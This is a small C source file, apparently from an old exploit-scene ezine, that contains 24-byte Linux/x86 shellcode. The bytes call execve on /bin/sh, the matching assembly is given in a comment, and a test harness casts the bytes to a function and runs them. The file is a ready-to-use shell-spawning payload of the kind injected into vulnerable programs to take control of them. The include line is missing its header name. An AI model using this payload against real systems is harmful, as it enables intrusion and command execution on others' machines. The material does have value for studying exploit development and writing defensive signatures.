/* * Linux/x86 * * small execve() of /bin/sh (without exit()) * 24 bytes */ #include char code[]= "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52" "\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; // code /* __asm__(" xorl %edx,%edx pushl %edx pushl $0x68732f6e pushl $0x69622f2f movl %esp,%ebx pushl %edx pushl %ebx movl %esp,%ecx leal 0xb(%edx),%eax int $0x80 "); */ main() { void (*s)() = (void *)code; printf("Shellcode length: %d\nExecuting..\n\n", strlen(code)); s(); } /* RaiSe http://www.netsearch-ezine.com */